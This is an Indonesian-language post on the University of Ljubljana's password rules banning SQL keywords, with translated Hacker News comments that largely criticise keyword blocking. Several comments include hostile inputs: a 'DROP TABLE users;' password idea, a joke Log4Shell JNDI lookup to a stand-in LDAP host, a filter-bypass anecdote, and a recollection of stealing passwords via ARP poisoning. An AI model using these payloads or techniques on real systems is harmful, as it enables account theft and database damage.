Kata yang tidak boleh digunakan dalam kata sandi: select, insert, update, delete, drop

• Reset kata sandi di portal ID University of Ljubljana meminta nama pengguna dan konfirmasi kata sandi baru untuk mengurangi kesalahan input dalam proses pemulihan akun
• Nama pengguna berbentuk seperti alamat email, dengan contoh [e-mail]
• Kata sandi baru harus terdiri dari minimal 10 karakter dan tidak boleh memuat informasi pribadi yang mudah ditebak seperti nama depan atau nama belakang
• Harus memenuhi setidaknya 3 dari kategori berikut: huruf besar, huruf kecil, angka, dan simbol -_.+@
• Kata seperti select, insert, update, delete, drop juga tidak boleh digunakan dalam kata sandi, sehingga perlu memeriksa pola terlarang selain panjangnya saja

---

Alur input reset kata sandi

• Layar terdiri dari kolom input Username, New password, dan New password confirmation
• Ketiga kolom semuanya ditandai sebagai required
• Nama pengguna berbentuk seperti alamat email
  • Contoh nama pengguna untuk John Smith adalah [e-mail]
• Kata sandi baru harus dimasukkan dua kali untuk mengurangi salah ketik

Aturan kata sandi baru

• Kata sandi baru diperlakukan sebagai sarana untuk melindungi identitas digital pengguna
• Kata sandi yang mudah ditebak harus dihindari
  • Contoh: nama depan, nama belakang, nama pasangan, tanggal lahir
• Kata sandi harus terdiri dari minimal 10 karakter
• Tidak boleh memuat nama depan atau nama belakang pengguna
• Harus memenuhi setidaknya 3 dari kriteria berikut
  • Huruf besar alfabet Inggris
  • Huruf kecil alfabet Inggris
  • Angka
  • Simbol: -_.+@

Kata yang tidak boleh digunakan

• Kata sandi tidak boleh memuat kata-kata berikut
  • select
  • insert
  • update
  • delete
  • drop

[GN⁺]

Opini Hacker News

• Oh, string itu aku yang memasukkannya. Itu permintaan manajemen, dan sampai sekarang aku masih tidak tahu alasannya
  Situs ini tidak menyimpan kata sandi; lebih mirip antarmuka yang membungkus sistem manajemen akun eksternal agar terlihat rapi
  Aku pernah mendengar rumor bahwa validasi field login di beberapa aplikasi legacy itu aneh, sehingga mahasiswa tidak bisa login dengan kata sandi yang berisi string tertentu, tetapi aku tidak tahu kasus nyata

  • Sebaliknya, semua kata sandi sebaiknya dibuat menjadi DROP TABLE users;. Dengan begitu, akan cepat terlihat vendor mana yang menangani kata sandi dengan sangat tidak aman
    Dalam kasus ini, artinya mereka bukan hanya tidak membersihkan input pengguna, tetapi juga tidak melakukan hash atau menyembunyikan kata sandi, jadi ini sudah setingkat gangguan sosial
  • Di sebuah situs, panjang maksimum field “buat kata sandi baru” lebih panjang daripada atribut maxlength pada field input form login
    Aku lama tidak mengerti kenapa login bisa berhasil dengan autofill dari password manager, tetapi tidak bisa saat diketik langsung atau ditempel. Ternyata karena autofill mengabaikan maxlength
  • Aku penasaran apakah itu sekadar string yang ada di halaman, atau memang logika validasi benar-benar memblokirnya

• Katanya tidak boleh berisi "script", tetapi saat awal remaja aku pernah meretas platform sosial besar Nettby.no
  Caranya adalah menghapus semua kata terlarang, dan script termasuk di dalamnya

  • Tentu saja, berarti script-nya harus dijalankan dua kali
  • Aku juga pernah meretas Nettby di sekolah. Masa-masa yang indah
    Nettby tidak punya HTTPS, jadi lewat serangan man-in-the-middle ARP poisoning aku mencuri kata sandi semua orang, lalu memposting omong kosong acak dari akun mereka dan menyaksikan kekacauannya. Aku tidak mengintip; sepertinya aku yang berumur 14 tahun pun masih punya etika minimum entah bagaimana
  • Itu masalah yang mudah. Cukup hapus kurung sudut saja, selesai
  • LOL. Aku juga melakukan hal yang sama di situs Coca-Cola, lalu MD perusahaan itu mengirim surat bernada kesal dan menghapus akunku

• Mungkin akan banyak dikritik, tetapi setidaknya dalam beberapa kasus menurutku ini ide yang lumayan
  Di dalam organisasi ada banyak orang yang membuat kode buruk dan arsitektur sistem buruk, sementara orang yang punya kemampuan, wewenang, dan waktu untuk menemukan lalu memaksa perubahan itu kurang
  Di AS, sering kali orang terpaksa bekerja melalui situs web yang dikodekan dengan buruk, seperti milik penyedia layanan kesehatan lokal. Dalam kasus seperti ini, mungkin lebih baik mengasumsikan implementasinya bisa mengerikan seperti yang sering terjadi, lalu menyarankan mitigasi yang sesuai
  Apakah pola kata sandi yang secara nominal dilarang ternyata benar-benar diizinkan atau tidak bisa dengan mudah diuji pengguna dan dilaporkan ke regulator, tetapi sulit memastikan dari luar apakah implementasinya benar
  Ini tidak elegan dan tragis, tetapi secara realistis mungkin lebih baik menerima fakta bahwa pekerjaan sering dikerjakan berantakan dan pengawasannya kurang, lalu memikirkan mitigasi untuk mencegah hasil terburuk

  • Tidak setuju. Di atas kertas terlihat bagus, tetapi memberi rasa aman palsu yang terlalu besar
    Langkah keamanan seperti ini sering menutupi masalah yang lebih dalam. Biasanya langkah seperti ini dipasang karena input pengguna tidak ditangani dengan hati-hati, tetapi asumsi bahwa memblokir beberapa keyword akan “menetralkan” potensi kerentanan biasanya mudah dibantah. Lihat saja kasus eBay dan JSFuck
    Aku tidak suka pola pikir seperti ini. Aku yakin web application firewall (WAF), penetration test yang malas, dan checkbox compliance telah menciptakan teater keamanan dalam jumlah luar biasa, dan membuat perusahaan percaya bahwa software yang ditulis dengan sangat kacau boleh diekspos sebagian ke internet publik karena “aman” dan mereka sudah “melakukan due diligence”
    Akibatnya, aku menerima surat permintaan maaf lewat pos bahwa informasi paling sensitifku bocor lagi dari perusahaan yang nyaris tidak memberiku pilihan nyata selain menyerahkan dataku. Tentu saja mereka semua sangat menghargai dataku, sehingga membiarkannya dicuri lewat kerentanan library serialisasi Java yang sudah berusia puluhan tahun
    [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
  • Jika suatu organisasi punya kebijakan kata sandi seperti ini, itu bisa ditafsirkan bahwa penanggung jawab kebijakan tersebut menganggap organisasinya tidak punya cukup orang dengan kemampuan dan wewenang untuk mencegah kerentanan SQL injection
    Itu terlihat buruk bagi lembaga mana pun, tetapi lebih parah lagi jika lembaga itu universitas, yang semestinya menjadi benteng orang-orang yang kompeten dan berwenang
    Sebagai saran umum soal kata sandi, justru semua orang sebaiknya memasukkan keyword seperti ini ke kata sandi mereka agar bug cepat terungkap. Jangan sampai bug itu tetap tersembunyi lalu hanya dimanfaatkan penyerang
  • Kata sandi seharusnya bahkan tidak berada di dekat database
    Setelah diberi salt lalu di-hash, proses hash harus diterapkan ratusan ribu kali, lalu dibandingkan dengan nilai salt dan hash yang disimpan di file
    Kalau tidak bisa melakukan ini saja, tidak layak menulis software yang menyimpan kredensial. Serius. Keamanan software dimulai dari pengakuan bahwa data itu beracun, dan jika tidak dihormati, bisa membuat perusahaan bangkrut
  • Ini terlihat seperti jebakan defense in depth yang umum. Situasi ketika upaya engineering dihabiskan pada lapisan yang salah untuk masalah yang bisa diselesaikan jauh lebih efisien di lapisan lain
    Jika harus khawatir sistem memasukkan kata sandi plaintext ke tabel database, maka di sistem itu ada sejuta hal lain yang bisa berjalan sangat buruk. Misalnya, bagaimana kalau DBA menyalin-tempel SQL dari Stack Overflow
    Jika organisasi punya engineer yang tidak kompeten, lebih baik jangan biarkan mereka mengimplementasikan sistem autentikasi sendiri; gunakan framework open source yang banyak dipakai atau produk komersial
  • Aku tidak tahu jalur serangan apa yang dicegah oleh ini
    Jika alur autentikasi melakukan hal lain selain menerapkan salt dan hash pada kata sandi lalu membuang kata sandi plaintext asli, seluruh sistem itu sebaiknya tidak dipakai sama sekali

• Tidak apa-apa. Sebagai gantinya, pakai saja truncate

• Hal paling lucu dari situasi ini adalah mereka bahkan tidak memeriksa semua string terlarang
  Sumber: aku mahasiswa di kampus itu, dan karena penasaran aku mencobanya sendiri

  • Jika ada sesuatu yang rusak, besar kemungkinan mereka akan memakai klausul pengecualian tanggung jawab itu sebagai alasan untuk menyalahkanmu
  • Kalau risiko melanggar aturan adalah dikeluarkan, sepertinya mudah memastikan kepatuhan

• Alih-alih membuat injeksi SQL benar-benar mustahil dengan stored procedure yang tepat dan teknik lain, mereka hanya membatasi beberapa kata kunci dan berharap peretas tidak memikirkan cara yang tidak terpikirkan oleh mereka, seperti trik escaping.
  Mungkin akan berfungsi untuk sementara, sampai seseorang membuktikan bahwa itu tidak berhasil.
  Memastikan input pengguna tidak tercampur dengan SQL sekarang bukan lagi ilmu roket. Ini bukan tahun 2005.
  Kalau ini memang efektif sejak awal, berarti mereka menyimpan kata sandi tanpa di-hash, dan itu sudah bodoh bahkan pada 2005. Kalau pendekatan yang sama dipakai untuk nama pengguna atau field input lain, mungkin sedikit lebih masuk akal, tetapi kata sandi sama sekali tidak boleh masuk ke database dengan cara seperti itu.

  • Di kantor, kami pernah membahas cara menserialisasi data terstruktur sebagai nilai header permintaan HTTP. Secara refleks saya menjawab “subset ASCII dari JSON tanpa newline”, tetapi ditolak karena berbagai alasan. Mungkin karena terlalu banyak tanda baca, atau terlalu bertele-tele untuk bahasa Mandarin.
    Seseorang mengusulkan field yang dipisahkan dengan pipe, tetapi itu juga ditolak. Alasannya kira-kira “dulu beberapa proxy pelanggan menolak header yang berisi karakter pipe”.
    Pemrograman ala voodoo tidak selalu hanya muncul karena kurang investigasi. Kadang itu muncul dari kasus ketika kita tahu ada sesuatu yang pernah bermasalah, tetapi tidak ada buktinya, dan tidak ada cara untuk menanganinya.
    Secara pribadi, saya ingin langsung merilisnya dan melihat apakah ada yang rusak, lalu menyelesaikannya dengan pelanggan setelahnya jika perlu. Tentu saja, pendekatan itu tidak populer karena alasan yang jelas dan baik, jadi akhirnya kami tidak memakai karakter pipe.
  • Sekitar awal 2005 saya membuat aplikasi database pertama saya, dan tidak mencampur data pengguna dengan SQL tidaklah sesulit itu.
    Sepertinya script CGI-nya juga saya jalankan dalam taint mode. Ada yang ingat itu?
  • Pernyataan “kalau ini memang efektif sejak awal, berarti mereka menyimpan kata sandi tanpa di-hash” tidak selalu benar.
    RDBMS bisa saja mendukung fungsi hash, sehingga bisa disimpan seperti UPDATE USERS SET PASSWORD = SHA2($PASSWORD). Dalam kasus ini, ia rentan terhadap injeksi SQL, tetapi bukan berarti menyimpan kata sandi yang belum di-hash.
    Ada alasan bagus untuk menyarankan agar hashing dilakukan di lapisan aplikasi, tetapi jika memakai query berparameter dengan benar, melakukannya di database juga tidak terlalu mengerikan.
  • Fakta bahwa tulisan ini naik ke halaman depan itu sendiri berarti hal yang sedang dijelaskan sekarang adalah hal yang sudah jelas bagi pembaca di sini.

• Fiuh, pasti tidak akan ketahuan. Kata sandi saya adalah ${jndi:ldap://hunter2.com/totallylegit}

  • Bukan. Itu bahkan bukan URL LDAP yang valid, dan juga bukan domain yang valid.
    Domain hanya boleh berisi karakter ASCII a-z dan angka 0-9; tanda bintang tidak diizinkan. Satu-satunya simbol yang diizinkan adalah tanda hubung, dan itu pun tidak boleh berada di awal atau akhir.

• Jika dilihat secara optimistis, persyaratan ini mungkin berasal dari web application firewall (WAF) yang terlalu ketat.

  • Atau bisa juga karena “framework” atau kumpulan alat yang arsitekturnya berantakan.
    Komentar lain melihat ini sebagai “bukti” bahwa keamanan aplikasinya buruk, tetapi menurut saya kita tidak bisa menyimpulkan sejauh itu. Namun, kita bisa menyimpulkan bahwa sebagian stack-nya diimplementasikan dengan buruk.
  • Kalau begitu berarti WAF bisa melihat kata sandi yang belum di-hash, jadi itu sama sekali tidak bagus.
  • Saya penasaran WAF itu singkatan dari apa.

• Kedengarannya seperti sisa warisan dari sistem lama. Saya pernah mendengar bahwa beberapa universitas dan bank memakai mainframe lama untuk autentikasi terpusat.
  Dalam beberapa kasus, saya dengar kata sandi disimpan dalam plaintext, dipotong menjadi 8 karakter, dan hanya huruf kapital yang diizinkan.
  Alasan utama sistem seperti ini tidak di-upgrade, setidaknya dari yang saya dengar, adalah biaya dan kompleksitas. Daripada mengeluarkan $$$$ untuk meng-upgrade sistem yang masih berjalan, lebih baik mengeluarkan $ saja untuk membatasi kata sandi dan menambahkan “keamanan” dasar, kira-kira begitu.

• Beberapa tahun lalu saya sedang membuat aplikasi yang memposting tulisan lewat WordPress API. Para pelanggan memasang WordPress di berbagai lingkungan hosting mereka masing-masing, dan di sana ada berbagai fitur “keamanan”.
  Saya menerima laporan bug bahwa ketika memposting tulisan ke blog, prosesnya gagal dan konten kosong yang terunggah. Ternyata plugin keamanan seperti ini memindai tulisan blog yang panjang, lalu jika menemukan sesuatu seperti .... select from , plugin itu mengganti parameter POST tersebut menjadi string kosong.
  Saya juga melihat laporan bug pelanggan yang mirip: di dalam field JSON berisi teks HTML dari permintaan yang dikirim server kami, ada JavaScript yang diobfuscate disisipkan. Saya tidak yakin apakah itu plugin “keamanan” atau malware.

  • Dulu pernah terjadi hanya sebagian kecil permintaan gagal pada kumpulan halaman tertentu. Awalnya saya menemukan bahwa semua URL mengandung select, biasanya sebagai bagian dari nama parameter seperti itemselect. Jadi saya mencari apakah ada filter semacam WAF di suatu tempat dalam stack.
    Akhirnya saya menemukan konfigurasi lama yang masih tersisa di server proxy, bahkan sebelum mereka memakai WAF komersial, dan konfigurasi itu mencari SELECT.*UNION.
    Ketika saya melihat URL-nya lagi, semuanya juga punya parameter seperti company=credit+union. Saya menepuk jidat, menghapus kode itu, dan perlindungan di tempat lain sudah cukup.